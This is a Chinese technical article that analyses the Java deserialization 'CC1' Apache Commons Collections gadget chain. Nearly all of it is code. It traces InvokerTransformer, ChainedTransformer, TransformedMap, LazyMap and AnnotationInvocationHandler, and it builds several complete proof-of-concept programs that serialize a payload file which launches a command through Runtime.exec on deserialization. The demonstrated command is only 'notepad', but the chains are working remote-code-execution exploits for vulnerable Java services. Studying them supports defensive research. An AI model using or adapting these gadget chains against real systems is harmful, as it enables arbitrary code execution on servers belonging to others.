Java反序列化之CC1链分析 | 技术精选0142

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        this.iMethodName = methodName; //函数名        this.iParamTypes = paramTypes; //函数参数的类型        this.iArgs = args;             //参数对象}public Object transform(Object input) {Class cls = input.getClass();     //获取input的类Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法return method.invoke(input, this.iArgs);              //执行}

public static void main(String[] args) throws Exception {        //payload        InvokerTransformer x = new InvokerTransformer(                "exec",                new Class[]{String.class},                new String[]{"notepad"});

        //服务端        Object d = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        x.transform(d);    }

Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))

public Object transform(Object object) {        for(int i = 0; i < this.iTransformers.length; ++i) {            object = this.iTransformers[i].transform(object);        }

        return object;}

public ChainedTransformer(Transformer[] transformers) {        this.iTransformers = transformers;    }

public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new InvokerTransformer(                        "exec",                        new Class[]{String.class},                        new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

        //服务端        Object a = Class.forName("java.lang.Runtime")                .getMethod("getRuntime")                .invoke(Class.forName("java.lang.Runtime"));        d.transform(a);    }

public ConstantTransformer(Object constantToReturn) {        this.iConstant = constantToReturn;} public Object transform(Object input) {        return this.iConstant;}

public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.getRuntime()),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);

        //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(d);

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        Transformer a = (ChainedTransformer) f2.readObject();

        d.transform(null);}

Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };

Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})         };

Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };

public static void main(String[] args) throws Exception {        //x[0],object=""        Class s = Class.forName("java.lang.Class");        //x[1],object="java.lang.Runtime"        Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);        System.out.println(o + "nn");        //x[2],object="java.lang.Runtime.getRuntime()"        s = o.getClass();        o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);        System.out.println(s + "n" + o + "nn");        //x[3],object=        Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));        System.out.println(o1);}

Transformer a = (ChainedTransformer) f2.readObject();d.transform(null);

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {    super(map);    this.keyTransformer = keyTransformer;    this.valueTransformer = valueTransformer;}protected Object transformKey(Object object) {    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);}

protected Object transformValue(Object object) {    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);}public Object put(Object key, Object value) {    key = this.transformKey(key);    value = this.transformValue(value);    return this.getMap().put(key, value);}

interface Test extends Transformer {    public Object transform(Object input);}

class Test1 implements Test, Transformer {    public Object transform(Object input) {        return "x";    }}

class Test2 implements Test {    public Object transform(Object input) {        return "d";    }}

public class cc1 {    public static void main(String[] args) throws Exception {        Map innerMap = new HashMap();        System.out.println(innerMap);        Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());        map.put("value", "value");        System.out.println(map);    }}

public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        map.put("value", "value");        Map map1 = TransformedMap.decorate(map, null, d);                //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(map1);

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        Map map2 = (Map) f2.readObject();        map2.put("value", "1");



    }}

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {   var1.defaultReadObject();   AnnotationType var2 = null;

   try {       var2 = AnnotationType.getInstance(this.type);   } catch (IllegalArgumentException var9) {       throw new InvalidObjectException("Non-annotation type in annotation serial stream");   }

   Map var3 = var2.memberTypes();   Iterator var4 = this.memberValues.entrySet().iterator();

   while(var4.hasNext()) {       Entry var5 = (Entry)var4.next();       String var6 = (String)var5.getKey();       Class var7 = (Class)var3.get(var6);       if (var7 != null) {           Object var8 = var5.getValue();           if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));           }       }   }

}

public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        map.put("key", "key");        Map map1 = TransformedMap.decorate(map, null, d);        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);        Object o = ct.newInstance(Documented.class, map1);        //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();



    }}

public static Map decorate(Map map, Transformer factory) {    return new LazyMap(map, factory);}protected LazyMap(Map map, Factory factory) {    super(map);    if (factory == null) {        throw new IllegalArgumentException("Factory must not be null");    } else {        this.factory = FactoryTransformer.getInstance(factory);    }}public Object get(Object key) {    if (!super.map.containsKey(key)) {        Object value = this.factory.transform(key);        super.map.put(key, value);        return value;    } else {        return super.map.get(key);    }}

public class cc1 {    public static void main(String[] args) throws Exception {

        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        Map map1 = LazyMap.decorate(map, d);        map1.get("key");    }}

class expHandler implements InvocationHandler {    protected Map map;

    public expHandler(Map map) {        this.map = map;    }

    @Override    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        if (method.getName().compareTo("put") == 0) {            System.out.println("Hook Method: " + method.getName());            map.put("hi", "xd");        }        return method.invoke(this.map, args);    }}

public class cc1 {    public static void main(String[] args) throws Exception {        InvocationHandler handler = new expHandler(new HashMap());        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);        proxyMap.put("hi", "sir");        System.out.println(proxyMap);}

public Object invoke(Object var1, Method var2, Object[] var3) {    String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        return this.equalsImpl(var3[0]);    } else if (var5.length != 0) {        throw new AssertionError("Too many parameters for an annotation method");    } else {        byte var7 = -1;        switch(var4.hashCode()) {        case -1776922004:            if (var4.equals("toString")) {                var7 = 0;            }            break;        case 147696667:            if (var4.equals("hashCode")) {                var7 = 1;            }            break;        case 1444986633:            if (var4.equals("annotationType")) {                var7 = 2;            }        }

        switch(var7) {        case 0:            return this.toStringImpl();        case 1:            return this.hashCodeImpl();        case 2:            return this.type;        default:            Object var6 = this.memberValues.get(var4);            if (var6 == null) {                throw new IncompleteAnnotationException(this.type, var4);            } else if (var6 instanceof ExceptionProxy) {                throw ((ExceptionProxy)var6).generateException();            } else {                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {                    var6 = this.cloneArray(var6);                }

                return var6;            }        }    }}

public class cc1 {    public static void main(String[] args) throws Exception {        //payload        Transformer[] x = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})        };        Transformer d = new ChainedTransformer(x);        Map map = new HashMap();        Map map1 = LazyMap.decorate(map, d);                Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);        ct.setAccessible(true);                InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);        Object o = ct.newInstance(Target.class, proxyMap);  //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);

        //payload序列化写入文件，当作网络传输        FileOutputStream f = new FileOutputStream("payload.bin");        ObjectOutputStream fout = new ObjectOutputStream(f);        fout.writeObject(o);  //如果用的后面那种，则把o换成handler

        //服务端反序列化payload读取        FileInputStream f1 = new FileInputStream("payload.bin");        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();

    }}